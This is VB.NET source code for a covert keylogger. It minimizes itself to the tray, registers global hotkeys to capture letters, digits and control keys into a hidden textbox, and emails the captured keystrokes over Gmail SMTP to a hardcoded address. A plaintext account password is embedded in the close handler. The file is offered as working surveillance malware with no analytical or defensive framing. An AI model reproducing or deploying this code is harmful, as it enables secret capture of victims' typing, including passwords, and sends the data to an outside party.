Imports System.Net.Mail
Public Class Form1
Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As IntPtr, ByVal id As Integer, ByVal fsModifier As Integer, ByVal vk As Integer) As Integer
Private Declare Sub UnregisterHotKey Lib "user32" (ByVal hWnd As IntPtr, ByVal id As Integer)
Private Const Key_NONE As Integer = &H0
Private Const WM_HOTKEY As Integer = &H312
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Me.WindowState = FormWindowState.Minimized
Me.TransparencyKey = Me.BackColor
RegHotkeys()
Timer1.Start()
BackgroundWorker1.RunWorkerAsync()
End Sub
Private Sub NotifyIcon1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles NotifyIcon1.Click
Me.ShowInTaskbar = True
Me.NotifyIcon1.Visible = False
Me.WindowState = FormWindowState.Normal
End Sub
Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
If Me.WindowState = FormWindowState.Minimized Then
Me.ShowInTaskbar = False
Me.WindowState = FormWindowState.Minimized
Me.NotifyIcon1.Visible = True
End If
End Sub
Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("denniskekz@googlemail.com")
MyMailMessage.To.Add("denniskekz@googlemail.com")
MyMailMessage.Subject = ("Keylogger")
MyMailMessage.Body = TextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("denniskekz@googlemail.com", "dennis2510schildi")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
Me.Close()
End Sub
Sub RegHotkeys()
BackgroundWorker1.RunWorkerAsync()
RegisterHotKey(Me.Handle, 0, Key_NONE, Keys.A)
RegisterHotKey(Me.Handle, 1, Key_NONE, Keys.B)
RegisterHotKey(Me.Handle, 2, Key_NONE, Keys.C)
RegisterHotKey(Me.Handle, 3, Key_NONE, Keys.D)
RegisterHotKey(Me.Handle, 4, Key_NONE, Keys.E)
RegisterHotKey(Me.Handle, 5, Key_NONE, Keys.F)
RegisterHotKey(Me.Handle, 6, Key_NONE, Keys.G)
RegisterHotKey(Me.Handle, 7, Key_NONE, Keys.H)
RegisterHotKey(Me.Handle, 8, Key_NONE, Keys.I)
RegisterHotKey(Me.Handle, 9, Key_NONE, Keys.J)
RegisterHotKey(Me.Handle, 10, Key_NONE, Keys.K)
RegisterHotKey(Me.Handle, 11, Key_NONE, Keys.L)
RegisterHotKey(Me.Handle, 12, Key_NONE, Keys.M)
RegisterHotKey(Me.Handle, 13, Key_NONE, Keys.N)
RegisterHotKey(Me.Handle, 14, Key_NONE, Keys.O)
RegisterHotKey(Me.Handle, 15, Key_NONE, Keys.P)
RegisterHotKey(Me.Handle, 16, Key_NONE, Keys.Q)
RegisterHotKey(Me.Handle, 17, Key_NONE, Keys.R)
RegisterHotKey(Me.Handle, 18, Key_NONE, Keys.S)
RegisterHotKey(Me.Handle, 19, Key_NONE, Keys.T)
RegisterHotKey(Me.Handle, 20, Key_NONE, Keys.U)
RegisterHotKey(Me.Handle, 21, Key_NONE, Keys.V)
RegisterHotKey(Me.Handle, 22, Key_NONE, Keys.W)
RegisterHotKey(Me.Handle, 23, Key_NONE, Keys.X)
RegisterHotKey(Me.Handle, 24, Key_NONE, Keys.Y)
RegisterHotKey(Me.Handle, 25, Key_NONE, Keys.Z)
RegisterHotKey(Me.Handle, 26, Key_NONE, Keys.D0)
RegisterHotKey(Me.Handle, 27, Key_NONE, Keys.D1)
RegisterHotKey(Me.Handle, 28, Key_NONE, Keys.D2)
RegisterHotKey(Me.Handle, 29, Key_NONE, Keys.D3)
RegisterHotKey(Me.Handle, 30, Key_NONE, Keys.D4)
RegisterHotKey(Me.Handle, 31, Key_NONE, Keys.D5)
RegisterHotKey(Me.Handle, 32, Key_NONE, Keys.D6)
RegisterHotKey(Me.Handle, 33, Key_NONE, Keys.D7)
RegisterHotKey(Me.Handle, 34, Key_NONE, Keys.D8)
RegisterHotKey(Me.Handle, 35, Key_NONE, Keys.D9)
RegisterHotKey(Me.Handle, 36, Key_NONE, Keys.Space)
RegisterHotKey(Me.Handle, 37, Key_NONE, Keys.Enter)
RegisterHotKey(Me.Handle, 38, Key_NONE, Keys.RShiftKey)
RegisterHotKey(Me.Handle, 39, Key_NONE, Keys.LShiftKey)
RegisterHotKey(Me.Handle, 40, Key_NONE, Keys.CapsLock)
RegisterHotKey(Me.Handle, 41, Key_NONE, Keys.Back)
End Sub
Protected Overrides Sub WndProc(ByRef m As Message)
If m.Msg = WM_HOTKEY Then
Select Case m.WParam
Case 0
TextBox1.Text &= "a"
Case 1
TextBox1.Text &= "b"
Case 2
TextBox1.Text &= "c"
Case 3
TextBox1.Text &= "d"
Case 4
TextBox1.Text &= "e"
Case 5
TextBox1.Text &= "f"
Case 6
TextBox1.Text &= "g"
Case 7
TextBox1.Text &= "h"
Case 8
TextBox1.Text &= "i"
Case 9
TextBox1.Text &= "j"
Case 10
TextBox1.Text &= "k"
Case 11
TextBox1.Text &= "l"
Case 12
TextBox1.Text &= "m"
Case 13
TextBox1.Text &= "n"
Case 14
TextBox1.Text &= "o"
Case 15
TextBox1.Text &= "p"
Case 16
TextBox1.Text &= "q"
Case 17
TextBox1.Text &= "r"
Case 18
TextBox1.Text &= "s"
Case 19
TextBox1.Text &= "t"
Case 20
TextBox1.Text &= "u"
Case 21
TextBox1.Text &= "v"
Case 22
TextBox1.Text &= "w"
Case 23
TextBox1.Text &= "x"
Case 24
TextBox1.Text &= "y"
Case 25
TextBox1.Text &= "z"
Case 26
TextBox1.Text &= "0"
Case 27
TextBox1.Text &= "1"
Case 28
TextBox1.Text &= "2"
Case 29
TextBox1.Text &= "3"
Case 30
TextBox1.Text &= "4"
Case 31
TextBox1.Text &= "5"
Case 32
TextBox1.Text &= "6"
Case 33
TextBox1.Text &= "7"
Case 34
TextBox1.Text &= "8"
Case 35
TextBox1.Text &= "9"
Case 36
TextBox1.Text &= " "
Case 37
TextBox1.Text &= "[ENTER]"
Case 38
TextBox1.Text &= "[SHIFT]"
Case 39
TextBox1.Text &= "[SHIFT]"
Case 40
TextBox1.Text &= "[GROß]"
Case 41
TextBox1.Text &= "[DEL]"
End Select
End If
MyBase.WndProc(m)
End Sub
Private Sub Form1_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles Me.MouseClick
Me.WindowState = FormWindowState.Minimized
End Sub
Private Sub Form1_Shown(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Shown
Me.WindowState = FormWindowState.Minimized
End Sub
Private Sub SetWindowPos(ByVal Handle As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer, ByVal p5 As Integer, ByVal p6 As Integer, ByVal p7 As Integer)
Throw New NotImplementedException
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("denniskekz@googlemail.com")
MyMailMessage.To.Add("denniskekz@googlemail.com")
MyMailMessage.Subject = ("Keylogger")
MyMailMessage.Body = TextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("denniskekz@googlemail.com", "pw")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
Me.Close()
End Sub
Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
Threading.Thread.Sleep(1000)
Timer1.Start()
BackgroundWorker1.RunWorkerAsync()
Timer1.Stop()
End Sub
End Class